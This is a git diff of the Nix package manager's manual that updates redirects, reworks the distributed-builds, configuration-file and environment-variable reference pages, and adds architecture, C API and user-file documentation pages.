+/command-ref/command-ref /command-ref 301! + +/contributing/contributing /development 301! +/contributing /development 301! +/contributing/hacking /development/building 301! +/contributing/testing /development/testing 301! +/contributing/documentation /development/documentation 301! +/contributing/experimental-features /development/experimental-features 301! +/contributing/cli-guideline /development/cli-guideline 301! +/contributing/json-guideline /development/json-guideline 301! +/contributing/cxx /development/cxx 301! + +/expressions/expression-language /language/ 301! +/expressions/language-constructs /language/constructs 301! +/expressions/language-operators /language/operators 301! +/expressions/language-values /language/values 301! +/expressions/* /language/:splat 301! +/language/values /language/types 301! +/language/constructs /language/syntax 301! +/language/builtin-constants /language/builtins 301! + +/installation/installation /installation 301! + +/package-management/basic-package-mgmt /command-ref/nix-env 301! +/package-management/channels /command-ref/nix-channel 301! +/package-management/package-management /package-management 301! +/package-management/s3-substituter /store/types/s3-binary-cache-store 301! + +/protocols/protocols /protocols 301! +/json/* /protocols/json/:splat 301! + +/release-notes/release-notes /release-notes 301! + +/package-management/copy-closure /command-ref/nix-copy-closure 301! diff --git a/doc/manual/src/advanced-topics/advanced-topics.md b/doc/manual/src/advanced-topics/advanced-topics.md deleted file mode 100644 index 8b1378917..000000000 --- a/doc/manual/src/advanced-topics/advanced-topics.md +++ /dev/null @@ -1 +0,0 @@ - diff --git a/doc/manual/src/advanced-topics/diff-hook.md b/doc/manual/src/advanced-topics/diff-hook.md index 4a742c160..207aad3b8 100644 --- a/doc/manual/src/advanced-topics/diff-hook.md +++ b/doc/manual/src/advanced-topics/diff-hook.md @@ -48,13 +48,13 @@ If the build passes and is deterministic, Nix will exit with a status code of 0: ```console -$ nix-build ./deterministic.nix -A stable +$ nix-build ./deterministic.nix --attr stable this derivation will be built: /nix/store/z98fasz2jqy9gs0xbvdj939p27jwda38-stable.drv building '/nix/store/z98fasz2jqy9gs0xbvdj939p27jwda38-stable.drv'... /nix/store/yyxlzw3vqaas7wfp04g0b1xg51f2czgq-stable -$ nix-build ./deterministic.nix -A stable --check +$ nix-build ./deterministic.nix --attr stable --check checking outputs of '/nix/store/z98fasz2jqy9gs0xbvdj939p27jwda38-stable.drv'... /nix/store/yyxlzw3vqaas7wfp04g0b1xg51f2czgq-stable ``` @@ -63,13 +63,13 @@ If the build is not deterministic, Nix will exit with a status code of 1: ```console -$ nix-build ./deterministic.nix -A unstable +$ nix-build ./deterministic.nix --attr unstable this derivation will be built: /nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv building '/nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv'... /nix/store/krpqk0l9ib0ibi1d2w52z293zw455cap-unstable -$ nix-build ./deterministic.nix -A unstable --check +$ nix-build ./deterministic.nix --attr unstable --check checking outputs of '/nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv'... error: derivation '/nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv' may not be deterministic: output '/nix/store/krpqk0l9ib0ibi1d2w52z293zw455cap-unstable' differs @@ -89,7 +89,7 @@ Using `--check` with `--keep-failed` will cause Nix to keep the second build's output in a special, `.check` path: ```console -$ nix-build ./deterministic.nix -A unstable --check --keep-failed +$ nix-build ./deterministic.nix --attr unstable --check --keep-failed checking outputs of '/nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv'... note: keeping build directory '/tmp/nix-build-unstable.drv-0' error: derivation '/nix/store/cgl13lbj1w368r5z8gywipl1ifli7dhk-unstable.drv' may diff --git a/doc/manual/src/advanced-topics/distributed-builds.md b/doc/manual/src/advanced-topics/distributed-builds.md index fefd10100..ddabaeb4d 100644 --- a/doc/manual/src/advanced-topics/distributed-builds.md +++ b/doc/manual/src/advanced-topics/distributed-builds.md @@ -36,18 +36,8 @@ error: cannot connect to 'mac' then you need to ensure that the `PATH` of non-interactive login shells contains Nix. -> **Warning** -> -> If you are building via the Nix daemon, it is the Nix daemon user -> account (that is, `root`) that should have SSH access to the remote -> machine. If you can’t or don’t want to configure `root` to be able to -> access to remote machine, you can use a private Nix store instead by -> passing e.g. `--store ~/my-nix`. - -The list of remote machines can be specified on the command line or in -the Nix configuration file. The former is convenient for testing. For -example, the following command allows you to build a derivation for -`x86_64-darwin` on a Linux machine: +The [list of remote build machines](@docroot@/command-ref/conf-file.md#conf-builders) can be specified on the command line or in the Nix configuration file. +For example, the following command allows you to build a derivation for `x86_64-darwin` on a Linux machine: ```console $ uname @@ -62,97 +52,20 @@ $ cat ./result Darwin ``` -It is possible to specify multiple builders separated by a semicolon or -a newline, e.g. +It is possible to specify multiple build machines separated by a semicolon or a newline, e.g. ```console --builders 'ssh://mac x86_64-darwin ; ssh://beastie x86_64-freebsd' ``` -Each machine specification consists of the following elements, separated -by spaces. Only the first element is required. To leave a field at its -default, set it to `-`. - -1. The URI of the remote store in the format - `ssh://[username@]hostname`, e.g. `ssh://nix@mac` or `ssh://mac`. - For backward compatibility, `ssh://` may be omitted. The hostname - may be an alias defined in your `~/.ssh/config`. - -2. A comma-separated list of Nix platform type identifiers, such as - `x86_64-darwin`. It is possible for a machine to support multiple - platform types, e.g., `i686-linux,x86_64-linux`. If omitted, this - defaults to the local platform type. - -3. The SSH identity file to be used to log in to the remote machine. If - omitted, SSH will use its regular identities. - -4. The maximum number of builds that Nix will execute in parallel on - the machine. Typically this should be equal to the number of CPU - cores. For instance, the machine `itchy` in the example will execute - up to 8 builds in parallel. - -5. The “speed factor”, indicating the relative speed of the machine. If - there are multiple machines of the right type, Nix will prefer the - fastest, taking load into account. - -6. A comma-separated list of *supported features*. If a derivation has - the `requiredSystemFeatures` attribute, then Nix will only perform - the derivation on a machine that has the specified features. For - instance, the attribute - - ```nix - requiredSystemFeatures = [ "kvm" ]; - ``` - - will cause the build to be performed on a machine that has the `kvm` - feature. - -7. A comma-separated list of *mandatory features*. A machine will only - be used to build a derivation if all of the machine’s mandatory - features appear in the derivation’s `requiredSystemFeatures` - attribute. - -8. The (base64-encoded) public host key of the remote machine. If omitted, SSH - will use its regular known-hosts file. Specifically, the field is calculated - via `base64 -w0 /etc/ssh/ssh_host_ed25519_key.pub`. - -For example, the machine specification - - nix@scratchy.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy_auto 8 1 kvm - nix@itchy.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy_auto 8 2 - nix@poochie.labs.cs.uu.nl i686-linux /home/nix/.ssh/id_scratchy_auto 1 2 kvm benchmark - -specifies several machines that can perform `i686-linux` builds. -However, `poochie` will only do builds that have the attribute - -```nix -requiredSystemFeatures = [ "benchmark" ]; -``` - -or - -```nix -requiredSystemFeatures = [ "benchmark" "kvm" ]; -``` - -`itchy` cannot do builds that require `kvm`, but `scratchy` does support -such builds. For regular builds, `itchy` will be preferred over -`scratchy` because it has a higher speed factor. - -Remote builders can also be configured in `nix.conf`, e.g. +Remote build machines can also be configured in [`nix.conf`](@docroot@/command-ref/conf-file.md), e.g. builders = ssh://mac x86_64-darwin ; ssh://beastie x86_64-freebsd -Finally, remote builders can be configured in a separate configuration -file included in `builders` via the syntax `@file`. For example, +Finally, remote build machines can be configured in a separate configuration +file included in `builders` via the syntax `@/path/to/file`. For example, builders = @/etc/nix/machines -causes the list of machines in `/etc/nix/machines` to be included. (This -is the default.) - -If you want the builders to use caches, you likely want to set the -option `builders-use-substitutes` in your local `nix.conf`. - -To build only on remote builders and disable building on the local -machine, you can use the option `--max-jobs 0`. +causes the list of machines in `/etc/nix/machines` to be included. +(This is the default.) diff --git a/doc/manual/src/advanced-topics/index.md b/doc/manual/src/advanced-topics/index.md new file mode 100644 index 000000000..9a4d12a33 --- /dev/null +++ b/doc/manual/src/advanced-topics/index.md @@ -0,0 +1 @@ +This section lists advanced topics related to builds and builds performance diff --git a/doc/manual/src/advanced-topics/post-build-hook.md b/doc/manual/src/advanced-topics/post-build-hook.md index 1479cc3a4..3c1cc9b36 100644 --- a/doc/manual/src/advanced-topics/post-build-hook.md +++ b/doc/manual/src/advanced-topics/post-build-hook.md @@ -17,9 +17,8 @@ the build loop. # Prerequisites -This tutorial assumes you have [configured an S3-compatible binary -cache](../package-management/s3-substituter.md), and that the `root` -user's default AWS profile can upload to the bucket. +This tutorial assumes you have configured an [S3-compatible binary cache](@docroot@/command-ref/new-cli/nix3-help-stores.md#s3-binary-cache-store) as a [substituter](../command-ref/conf-file.md#conf-substituters), +and that the `root` user's default AWS profile can upload to the bucket. # Set up a Signing Key @@ -69,6 +68,8 @@ exec nix copy --to "s3://example-nix-cache" $OUT_PATHS > store sign`. Nix guarantees the paths will not contain any spaces, > however a store path might contain glob characters. The `set -f` > disables globbing in the shell. +> If you want to upload the `.drv` file too, the `$DRV_PATH` variable +> is also defined for the script and works just like `$OUT_PATHS`. Then make sure the hook program is executable by the `root` user: @@ -90,7 +91,7 @@ Then, restart the `nix-daemon`. Build any derivation, for example: ```console -$ nix-build -E '(import {}).writeText "example" (builtins.toString builtins.currentTime)' +$ nix-build --expr '(import {}).writeText "example" (builtins.toString builtins.currentTime)' this derivation will be built: /nix/store/s4pnfbkalzy5qz57qs6yybna8wylkig6-example.drv building '/nix/store/s4pnfbkalzy5qz57qs6yybna8wylkig6-example.drv'... diff --git a/doc/manual/src/architecture/architecture.md b/doc/manual/src/architecture/architecture.md new file mode 100644 index 000000000..867a9c992 --- /dev/null +++ b/doc/manual/src/architecture/architecture.md @@ -0,0 +1,116 @@ +# Architecture + +This chapter describes how Nix works. +It should help users understand why Nix behaves as it does, and it should help developers understand how to modify Nix and how to write similar tools. + +## Overview + +Nix consists of [hierarchical layers]. + +[hierarchical layers]: https://en.wikipedia.org/wiki/Multitier_architecture#Layers + +The following [concept map] shows its main components (rectangles), the objects they operate on (rounded rectangles), and their interactions (connecting phrases): + +[concept map]: https://en.wikipedia.org/wiki/Concept_map + +``` + + .----------------. + | Nix expression |----------. + '----------------' | + | passed to + | | ++----------|-------------------|--------------------------------+ +| Nix | V | +| | +-------------------------+ | +| | | commmand line interface |------. | +| | +-------------------------+ | | +| | | | | +| evaluated by calls manages | +| | | | | +| | V | | +| | +--------------------+ | | +| '-------->| language evaluator | | | +| +--------------------+ | | +| | | | +| produces | | +| | V | +| +----------------------------|------------------------------+ | +| | store | | | +| | referenced by V builds | | +| | .-------------. .------------. .--------------. | | +| | | build input |----->| build plan |----->| build result | | | +| | '-------------' '------------' '--------------' | | +| +-------------------------------------------------|---------+ | ++---------------------------------------------------|-----------+ + | + represented as + | + V + .---------------. + | file | + '---------------' +``` + +At the top is the [command line interface](../command-ref/index.md) that drives the underlying layers. + +The [Nix language](../language/index.md) evaluator transforms Nix expressions into self-contained *build plans*, which are used to derive *build results* from referenced *build inputs*. + +The command line interface and Nix expressions are what users deal with most. + +> **Note** +> +> The Nix language itself does not have a notion of *packages* or *configurations*. +> As far as we are concerned here, the inputs and results of a build plan are just data. + +Underlying the command line interface and the Nix language evaluator is the [Nix store](../store/index.md), a mechanism to keep track of build plans, data, and references between them. +It can also execute build plans to produce new data, which are made available to the operating system as files. + +A build plan itself is a series of *build tasks*, together with their build inputs. + +> **Important** +> A build task in Nix is called [derivation](@docroot@/glossary.md#gloss-derivation). + +Each build task has a special build input executed as *build instructions* in order to perform the build. +The result of a build task can be input to another build task. + +The following [data flow diagram] shows a build plan for illustration. +Build inputs used as instructions to a build task are marked accordingly: + +[data flow diagram]: https://en.wikipedia.org/wiki/Data-flow_diagram + +``` ++--------------------------------------------------------------------+ +| build plan | +| | +| .-------------. | +| | build input |---------. | +| '-------------' | | +| instructions | +| | | +| v | +| .-------------. .----------. | +| | build input |-->( build task )-------. | +| '-------------' '----------' | | +| instructions | +| | | +| v | +| .-------------. .----------. .--------------. | +| | build input |---------. ( build task )--->| build result | | +| '-------------' | '----------' '--------------' | +| instructions ^ | +| | | | +| v | | +| .-------------. .----------. | | +| | build input |-->( build task )-------' | +| '-------------' '----------' | +| ^ | +| | | +| | | +| .-------------. | | +| | build input |---------' | +| '-------------' | +| | ++--------------------------------------------------------------------+ +``` + diff --git a/doc/manual/src/c-api.md b/doc/manual/src/c-api.md new file mode 100644 index 000000000..0cdd83832 --- /dev/null +++ b/doc/manual/src/c-api.md @@ -0,0 +1,16 @@ +# C API + +Nix provides a C API with the intent of [_becoming_](https://github.com/NixOS/nix/milestone/52) a stable API, which it is currently not. +It is in development. + +See: +- C API documentation for a recent build of master + - [Getting Started] + - [Index] +- [Matrix Room *Nix Bindings*](https://matrix.to/#/#nix-bindings:nixos.org) for discussion and questions. +- [Stabilisation Milestone](https://github.com/NixOS/nix/milestone/52) +- [Other C API PRs and issues](https://github.com/NixOS/nix/labels/c%20api) +- [Contributing C API Documentation](development/documentation.md#c-api-documentation), including how to build it locally. + +[Getting Started]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs +[Index]: https://hydra.nixos.org/job/nix/master/external-api-docs/latest/download-by-type/doc/external-api-docs/globals.html diff --git a/doc/manual/src/command-ref/conf-file-prefix.md b/doc/manual/src/command-ref/conf-file-prefix.md index 44b7ba86d..627806cfb 100644 --- a/doc/manual/src/command-ref/conf-file-prefix.md +++ b/doc/manual/src/command-ref/conf-file-prefix.md @@ -4,49 +4,74 @@ # Description -By default Nix reads settings from the following places: +Nix supports a variety of configuration settings, which are read from configuration files or taken as command line flags. - - The system-wide configuration file `sysconfdir/nix/nix.conf` (i.e. - `/etc/nix/nix.conf` on most systems), or `$NIX_CONF_DIR/nix.conf` if - `NIX_CONF_DIR` is set. Values loaded in this file are not forwarded - to the Nix daemon. The client assumes that the daemon has already - loaded them. +## Configuration file - - If `NIX_USER_CONF_FILES` is set, then each path separated by `:` - will be loaded in reverse order. +By default Nix reads settings from the following places, in that order: - Otherwise it will look for `nix/nix.conf` files in `XDG_CONFIG_DIRS` - and `XDG_CONFIG_HOME`. If unset, `XDG_CONFIG_DIRS` defaults to - `/etc/xdg`, and `XDG_CONFIG_HOME` defaults to `$HOME/.config` - as per [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html). +1. The system-wide configuration file `sysconfdir/nix/nix.conf` (i.e. `/etc/nix/nix.conf` on most systems), or `$NIX_CONF_DIR/nix.conf` if [`NIX_CONF_DIR`](./env-common.md#env-NIX_CONF_DIR) is set. - - If `NIX_CONFIG` is set, its contents is treated as the contents of - a configuration file. + Values loaded in this file are not forwarded to the Nix daemon. + The client assumes that the daemon has already loaded them. -The configuration files consist of `name = value` pairs, one per -line. Other files can be included with a line like `include path`, -where *path* is interpreted relative to the current conf file and a -missing file is an error unless `!include` is used instead. Comments -start with a `#` character. Here is an example configuration file: +1. If [`NIX_USER_CONF_FILES`](./env-common.md#env-NIX_USER_CONF_FILES) is set, then each path separated by `:` will be loaded in reverse order. - keep-outputs = true # Nice for developers - keep-derivations = true # Idem + Otherwise it will look for `nix/nix.conf` files in `XDG_CONFIG_DIRS` and [`XDG_CONFIG_HOME`](./env-common.md#env-XDG_CONFIG_HOME). + If unset, `XDG_CONFIG_DIRS` defaults to `/etc/xdg`, and `XDG_CONFIG_HOME` defaults to `$HOME/.config` as per [XDG Base Directory Specification](https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html). -You can override settings on the command line using the `--option` -flag, e.g. `--option keep-outputs false`. Every configuration setting -also has a corresponding command line flag, e.g. `--max-jobs 16`; for -Boolean settings, there are two flags to enable or disable the setting -(e.g. `--keep-failed` and `--no-keep-failed`). +1. If [`NIX_CONFIG`](./env-common.md#env-NIX_CONFIG) is set, its contents are treated as the contents of a configuration file. -A configuration setting usually overrides any previous value. However, -you can prefix the name of the setting by `extra-` to *append* to the -previous value. For instance, +### File format - substituters = a b - extra-substituters = c d +Configuration files consist of `name = value` pairs, one per line. +Comments start with a `#` character. -defines the `substituters` setting to be `a b c d`. This is also -available as a command line flag (e.g. `--extra-substituters`). +Example: -The following settings are currently available: +``` +keep-outputs = true # Nice for developers +keep-derivations = true # Idem +``` + +Other files can be included with a line like `include `, where `` is interpreted relative to the current configuration file. +A missing file is an error unless `!include` is used instead. + +A configuration setting usually overrides any previous value. +However, for settings that take a list of items, you can prefix the name of the setting by `extra-` to *append* to the previous value. + +For instance, + +``` +substituters = a b +extra-substituters = c d +``` + +defines the `substituters` setting to be `a b c d`. + +Unknown option names are not an error, and are simply ignored with a warning. + +## Command line flags + +Configuration options can be set on the command line, overriding the values set in the [configuration file](#configuration-file): + +- Every configuration setting has corresponding command line flag (e.g. `--max-jobs 16`). + Boolean settings do not need an argument, and can be explicitly disabled with the `no-` prefix (e.g. `--keep-failed` and `--no-keep-failed`). + + Unknown option names are invalid flags (unless there is already a flag with that name), and are rejected with an error. + +- The flag `--option ` is interpreted exactly like a ` = ` in a setting file. + + Unknown option names are ignored with a warning. + +The `extra-` prefix is supported for settings that take a list of items (e.g. `--extra-trusted users alice` or `--option extra-trusted-users alice`). + +## Integer settings + +Settings that have an integer type support the suffixes `K`, `M`, `G` +and `T`. These cause the specified value to be multiplied by 2^10, +2^20, 2^30 and 2^40, respectively. For instance, `--min-free 1M` is +equivalent to `--min-free 1048576`. + +# Available settings diff --git a/doc/manual/src/command-ref/env-common.md b/doc/manual/src/command-ref/env-common.md index 5845bdc43..0b5017882 100644 --- a/doc/manual/src/command-ref/env-common.md +++ b/doc/manual/src/command-ref/env-common.md @@ -2,92 +2,142 @@ Most Nix commands interpret the following environment variables: - - [`IN_NIX_SHELL`]{#env-IN_NIX_SHELL}\ - Indicator that tells if the current environment was set up by - `nix-shell`. It can have the values `pure` or `impure`. +- [`IN_NIX_SHELL`](#env-IN_NIX_SHELL) - - [`NIX_PATH`]{#env-NIX_PATH}\ - A colon-separated list of directories used to look up the location of Nix - expressions using [paths](../language/values.md#type-path) - enclosed in angle brackets (i.e., ``), - e.g. `/home/eelco/Dev:/etc/nixos`. It can be extended using the - [`-I` option](./opt-common#opt-I). + Indicator that tells if the current environment was set up by + `nix-shell`. It can have the values `pure` or `impure`. - - [`NIX_IGNORE_SYMLINK_STORE`]{#env-NIX_IGNORE_SYMLINK_STORE}\ - Normally, the Nix store directory (typically `/nix/store`) is not - allowed to contain any symlink components. This is to prevent - “impure” builds. Builders sometimes “canonicalise” paths by - resolving all symlink components. Thus, builds on different machines - (with `/nix/store` resolving to different locations) could yield - different results. This is generally not a problem, except when - builds are deployed to machines where `/nix/store` resolves - differently. If you are sure that you’re not going to do that, you - can set `NIX_IGNORE_SYMLINK_STORE` to `1`. +- [`NIX_PATH`](#env-NIX_PATH) - Note that if you’re symlinking the Nix store so that you can put it - on another file system than the root file system, on Linux you’re - better off using `bind` mount points, e.g., + A colon-separated list of search path entries used to resolve [lookup paths](@docroot@/language/constructs/lookup-path.md). - ```console - $ mkdir /nix - $ mount -o bind /mnt/otherdisk/nix /nix - ``` + This environment variable overrides the value of the [`nix-path` configuration setting](@docroot@/command-ref/conf-file.md#conf-nix-path). - Consult the mount 8 manual page for details. + It can be extended using the [`-I` option](@docroot@/command-ref/opt-common.md#opt-I). - - [`NIX_STORE_DIR`]{#env-NIX_STORE_DIR}\ - Overrides the location of the Nix store (default `prefix/store`). + > **Example** + > + > ```bash + > $ export NIX_PATH=`/home/eelco/Dev:nixos-config=/etc/nixos + > ``` - - [`NIX_DATA_DIR`]{#env-NIX_DATA_DIR}\ - Overrides the location of the Nix static data directory (default - `prefix/share`). + If `NIX_PATH` is set to an empty string, resolving search paths will always fail. - - [`NIX_LOG_DIR`]{#env-NIX_LOG_DIR}\ - Overrides the location of the Nix log directory (default - `prefix/var/log/nix`). + > **Example** + > + > ```bash + > $ NIX_PATH= nix-instantiate --eval '' + > error: file 'nixpkgs' was not found in the Nix search path (add it using $NIX_PATH or -I) + > ``` - - [`NIX_STATE_DIR`]{#env-NIX_STATE_DIR}\ - Overrides the location of the Nix state directory (default - `prefix/var/nix`). +- [`NIX_IGNORE_SYMLINK_STORE`](#env-NIX_IGNORE_SYMLINK_STORE) - - [`NIX_CONF_DIR`]{#env-NIX_CONF_DIR}\ - Overrides the location of the system Nix configuration directory - (default `prefix/etc/nix`). + Normally, the Nix store directory (typically `/nix/store`) is not + allowed to contain any symlink components. This is to prevent + “impure” builds. Builders sometimes “canonicalise” paths by + resolving all symlink components. Thus, builds on different machines + (with `/nix/store` resolving to different locations) could yield + different results. This is generally not a problem, except when + builds are deployed to machines where `/nix/store` resolves + differently. If you are sure that you’re not going to do that, you + can set `NIX_IGNORE_SYMLINK_STORE` to `1`. - - [`NIX_CONFIG`]{#env-NIX_CONFIG}\ - Applies settings from Nix configuration from the environment. - The content is treated as if it was read from a Nix configuration file. - Settings are separated by the newline character. + Note that if you’re symlinking the Nix store so that you can put it + on another file system than the root file system, on Linux you’re + better off using `bind` mount points, e.g., - - [`NIX_USER_CONF_FILES`]{#env-NIX_USER_CONF_FILES}\ - Overrides the location of the user Nix configuration files to load - from (defaults to the XDG spec locations). The variable is treated - as a list separated by the `:` token. + ```console + $ mkdir /nix + $ mount -o bind /mnt/otherdisk/nix /nix + ``` - - [`TMPDIR`]{#env-TMPDIR}\ - Use the specified directory to store temporary files. In particular, - this includes temporary build directories; these can take up - substantial amounts of disk space. The default is `/tmp`. + Consult the mount 8 manual page for details. - - [`NIX_REMOTE`]{#env-NIX_REMOTE}\ - This variable should be set to `daemon` if you want to use the Nix - daemon to execute Nix operations. This is necessary in [multi-user - Nix installations](../installation/multi-user.md). If the Nix - daemon's Unix socket is at some non-standard path, this variable - should be set to `unix://path/to/socket`. Otherwise, it should be - left unset. +- [`NIX_STORE_DIR`](#env-NIX_STORE_DIR) - - [`NIX_SHOW_STATS`]{#env-NIX_SHOW_STATS}\ - If set to `1`, Nix will print some evaluation statistics, such as - the number of values allocated. + Overrides the location of the Nix store (default `prefix/store`). - - [`NIX_COUNT_CALLS`]{#env-NIX_COUNT_CALLS}\ - If set to `1`, Nix will print how often functions were called during - Nix expression evaluation. This is useful for profiling your Nix - expressions. +- [`NIX_DATA_DIR`](#env-NIX_DATA_DIR) - - [`GC_INITIAL_HEAP_SIZE`]{#env-GC_INITIAL_HEAP_SIZE}\ - If Nix has been configured to use the Boehm garbage collector, this - variable sets the initial size of the heap in bytes. It defaults to - 384 MiB. Setting it to a low value reduces memory consumption, but - will increase runtime due to the overhead of garbage collection. + Overrides the location of the Nix static data directory (default + `prefix/share`). + +- [`NIX_LOG_DIR`](#env-NIX_LOG_DIR) + + Overrides the location of the Nix log directory (default + `prefix/var/log/nix`). + +- [`NIX_STATE_DIR`](#env-NIX_STATE_DIR) + + Overrides the location of the Nix state directory (default + `prefix/var/nix`). + +- [`NIX_CONF_DIR`](#env-NIX_CONF_DIR) + + Overrides the location of the system Nix configuration directory + (default `prefix/etc/nix`). + +- [`NIX_CONFIG`](#env-NIX_CONFIG) + + Applies settings from Nix configuration from the environment. + The content is treated as if it was read from a Nix configuration file. + Settings are separated by the newline character. + +- [`NIX_USER_CONF_FILES`](#env-NIX_USER_CONF_FILES) + + Overrides the location of the Nix user configuration files to load from. + + The default are the locations according to the [XDG Base Directory Specification]. + See the [XDG Base Directories](#xdg-base-directories) sub-section for details. + + The variable is treated as a list separated by the `:` token. + +- [`TMPDIR`](#env-TMPDIR) + + Use the specified directory to store temporary files. In particular, + this includes temporary build directories; these can take up + substantial amounts of disk space. The default is `/tmp`. + +- [`NIX_REMOTE`](#env-NIX_REMOTE) + + This variable should be set to `daemon` if you want to use the Nix + daemon to execute Nix operations. This is necessary in [multi-user + Nix installations](@docroot@/installation/multi-user.md). If the Nix + daemon's Unix socket is at some non-standard path, this variable + should be set to `unix://path/to/socket`. Otherwise, it should be + left unset. + +- [`NIX_SHOW_STATS`](#env-NIX_SHOW_STATS) + + If set to `1`, Nix will print some evaluation statistics, such as + the number of values allocated. + +- [`NIX_COUNT_CALLS`](#env-NIX_COUNT_CALLS) + + If set to `1`, Nix will print how often functions were called during + Nix expression evaluation. This is useful for profiling your Nix + expressions. + +- [`GC_INITIAL_HEAP_SIZE`](#env-GC_INITIAL_HEAP_SIZE) + + If Nix has been configured to use the Boehm garbage collector, this + variable sets the initial size of the heap in bytes. It defaults to + 384 MiB. Setting it to a low value reduces memory consumption, but + will increase runtime due to the overhead of garbage collection. + +## XDG Base Directories + +Nix follows the [XDG Base Directory Specification]. + +For backwards compatibility, Nix commands will follow the standard only when [`use-xdg-base-directories`] is enabled. +[New Nix commands](@docroot@/command-ref/new-cli/nix.md) (experimental) conform to the standard by default. + +The following environment variables are used to determine locations of various state and configuration files: + +- [`XDG_CONFIG_HOME`]{#env-XDG_CONFIG_HOME} (default `~/.config`) +- [`XDG_STATE_HOME`]{#env-XDG_STATE_HOME} (default `~/.local/state`) +- [`XDG_CACHE_HOME`]{#env-XDG_CACHE_HOME} (default `~/.cache`) + + +[XDG Base Directory Specification]: https://specifications.freedesktop.org/basedir-spec/basedir-spec-latest.html +[`use-xdg-base-directories`]: @docroot@/command-ref/conf-file.md#conf-use-xdg-base-directories diff --git a/doc/manual/src/command-ref/experimental-commands.md b/doc/manual/src/command-ref/experimental-commands.md index cfa6f8b73..1190729a2 100644 --- a/doc/manual/src/command-ref/experimental-commands.md +++ b/doc/manual/src/command-ref/experimental-commands.md @@ -1,6 +1,6 @@ # Experimental Commands -This section lists experimental commands. +This section lists [experimental commands](@docroot@/development/experimental-features.md#xp-feature-nix-command). > **Warning** > diff --git a/doc/manual/src/command-ref/files/channels.md b/doc/manual/src/command-ref/files/channels.md new file mode 100644 index 000000000..7b1f27128 --- /dev/null +++ b/doc/manual/src/command-ref/files/channels.md @@ -0,0 +1,26 @@ +## Channels + +A directory containing symlinks to Nix channels, managed by [`nix-channel`]: + +- `$XDG_STATE_HOME/nix/profiles/channels` for regular users +- `$NIX_STATE_DIR/profiles/per-user/root/channels` for `root` + +[`nix-channel`] uses a [profile](@docroot@/command-ref/files/profiles.md) to store channels. +This profile contains symlinks to the contents of those channels. + +## Subscribed channels + +The list of subscribed channels is stored in + +- `~/.nix-channels` +- `$XDG_STATE_HOME/nix/channels` if [`use-xdg-base-directories`] is set to `true` + +in the following format: + +``` + +... +``` + +[`nix-channel`]: @docroot@/command-ref/nix-channel.md +[`use-xdg-base-directories`]: @docroot@/command-ref/conf-file.md#conf-use-xdg-base-directories diff --git a/doc/manual/src/command-ref/files/default-nix-expression.md b/doc/manual/src/command-ref/files/default-nix-expression.md new file mode 100644 index 000000000..620f7035c --- /dev/null +++ b/doc/manual/src/command-ref/files/default-nix-expression.md @@ -0,0 +1,52 @@ +## Default Nix expression + +The source for the default [Nix expressions](@docroot@/language/index.md) used by [`nix-env`]: + +- `~/.nix-defexpr` +- `$XDG_STATE_HOME/nix/defexpr` if [`use-xdg-base-directories`] is set to `true`. + +It is loaded as follows: + +- If the default expression is a file, it is loaded as a Nix expression. +- If the default expression is a directory containing a `default.nix` file, that `default.nix` file is loaded as a Nix expression. +- If the default expression is a directory without a `default.nix` file, then its contents (both files and subdirectories) are loaded as Nix expressions. + The expressions are combined into a single attribute set, each expression under an attribute with the same name as the original file or subdirectory. + Subdirectories without a `default.nix` file are traversed recursively in search of more Nix expressions, but the names of these intermediate directories are not added to the attribute paths of the default Nix expression. + +Then, the resulting expression is interpreted like this: + +- If the expression is an attribute set, it is used as the default Nix expression. +- If the expression is a function, an empty set is passed as argument and the return value is used as the default Nix expression. + + +For example, if the default expression contains two files, `foo.nix` and `bar.nix`, then the default Nix expression will be equivalent to + +```nix +{ + foo = import ~/.nix-defexpr/foo.nix; + bar = import ~/.nix-defexpr/bar.nix; +} +``` + +The file [`manifest.nix`](@docroot@/command-ref/files/manifest.nix.md) is always ignored. + +The command [`nix-channel`] places a symlink to the user's current [channels profile](@docroot@/command-ref/files/channels.md) in this directory. +This makes all subscribed channels available as attributes in the default expression. + +## User channel link + +A symlink that ensures that [`nix-env`] can find your channels: + +- `~/.nix-defexpr/channels` +- `$XDG_STATE_HOME/defexpr/channels` if [`use-xdg-base-directories`] is set to `true`. + +This symlink points to: + +- `$XDG_STATE_HOME/profiles/channels` for regular users +- `$NIX_STATE_DIR/profiles/per-user/root/channels` for `root` + +In a multi-user installation, you may also have `~/.nix-defexpr/channels_root`, which links to the channels of the root user.[`nix-env`]: ../nix-env.md + +[`nix-env`]: @docroot@/command-ref/nix-env.md +[`nix-channel`]: @docroot@/command-ref/nix-channel.md +[`use-xdg-base-directories`]: @docroot@/command-ref/conf-file.md#conf-use-xdg-base-directories diff --git a/doc/manual/src/command-ref/files/manifest.json.md b/doc/manual/src/command-ref/files/manifest.json.md new file mode 100644 index 000000000..bcfe7373d --- /dev/null +++ b/doc/manual/src/command-ref/files/manifest.json.md @@ -0,0 +1,45 @@ +## `manifest.json` + +The manifest file records the provenance of the packages that are installed in a [profile](./profiles.md) managed by [`nix profile`](@docroot@/command-ref/new-cli/nix3-profile.md) (experimental). + +Here is an example of what the file might look like after installing `zoom-us` from Nixpkgs: + +```json +{ + "version": 1, + "elements": [ + { + "active": true, + "attrPath": "legacyPackages.x86_64-linux.zoom-us", + "originalUrl": "flake:nixpkgs", + "storePaths": [ + "/nix/store/wbhg2ga8f3h87s9h5k0slxk0m81m4cxl-zoom-us-5.3.469451.0927" + ], + "uri": "github:NixOS/nixpkgs/13d0c311e3ae923a00f734b43fd1d35b47d8943a" + }, + … + ] +} +``` + +Each object in the array `elements` denotes an installed package and +has the following fields: + +* `originalUrl`: The [flake reference](@docroot@/command-ref/new-cli/nix3-flake.md) specified by + the user at the time of installation (e.g. `nixpkgs`). This is also + the flake reference that will be used by `nix profile upgrade`. + +* `uri`: The locked flake reference to which `originalUrl` resolved. + +* `attrPath`: The flake output attribute that provided this + package. Note that this is not necessarily the attribute that the + user specified, but the one resulting from applying the default + attribute paths and prefixes; for instance, `hello` might resolve to + 